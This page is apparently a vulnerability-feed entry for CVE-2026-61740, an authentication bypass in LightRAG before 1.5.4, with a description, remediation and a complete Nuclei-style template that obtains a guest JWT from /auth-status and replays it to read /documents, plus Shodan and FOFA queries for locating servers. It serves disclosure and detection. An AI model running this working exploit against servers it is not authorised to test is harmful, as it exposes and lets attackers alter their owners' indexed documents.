CVE-2026-61740: LightRAG < 1.5.4 - Authentication Bypass via Guest Token

2026-11-29 PoC Public

Description

LightRAG before 1.5.4 accepts any valid guest JWT in combined_dependency() before it checks the X-API-Key header when LIGHTRAG_API_KEY is set and AUTH_ACCOUNTS is not configured. GET /auth-status hands out such a guest token to anyone, and the token is signed with the public DEFAULT_TOKEN_SECRET, so the API key protection of the documented API-key-only mode can be bypassed.

Details

CVE
CVE-2026-61740 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2026-61740

info:
  name: LightRAG < 1.5.4 - Authentication Bypass via Guest Token
  author: s4e-io
  severity: critical
  description: |
    LightRAG before 1.5.4 accepts any valid guest JWT in combined_dependency() before it checks the X-API-Key header when LIGHTRAG_API_KEY is set and AUTH_ACCOUNTS is not configured. GET /auth-status hands out such a guest token to anyone, and the token is signed with the public DEFAULT_TOKEN_SECRET, so the API key protection of the documented API-key-only mode can be bypassed.
  impact: |
    Unauthenticated attackers can read, upload and delete indexed documents and run queries on a LightRAG server that is protected only by an API key.
  remediation: |
    Upgrade to version 1.5.4 or later, and configure AUTH_ACCOUNTS together with a custom TOKEN_SECRET.
  reference:
    - https://github.com/HKUDS/LightRAG/security/advisories/GHSA-f4vv-55c2-5789
    - https://github.com/HKUDS/LightRAG/pull/3319
    - https://github.com/HKUDS/LightRAG/commit/f7819aa3a49a9d8d92eed8251d82d6ebcafa8cba
    - https://nvd.nist.gov/vuln/detail/CVE-2026-61740
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
    cvss-score: 9.3
    cve-id: CVE-2026-61740
    epss-score: 0.01608
    epss-percentile: 0.76318
    cwe-id: CWE-287,CWE-798
  metadata:
    verified: true
    max-request: 3
    vendor: hkuds
    product: lightrag
    shodan-query: http.html:"LightRAG"
    fofa-query: body="LightRAG"
  tags: cve,cve2026,lightrag,auth-bypass,jwt,unauth,ai,vuln

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/documents"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(body, "API Key required")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/auth-status"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"auth_configured\":false", "\"access_token\"")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: guest_token
        part: body
        internal: true
        json:
          - '.access_token'

  - method: GET
    path:
      - "{{BaseURL}}/documents"

    headers:
      Authorization: "Bearer {{guest_token}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "\"statuses\"")'
        condition: and
# digest: 490a0046304402203954399183abe458129a62b65af7f3ccdfb0c6ed793dc4a263d78850f8ed0db50220115738fb3836d1a2e928bc5302938d5d62d8eb8708ba816d2920b7a6956f47e7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life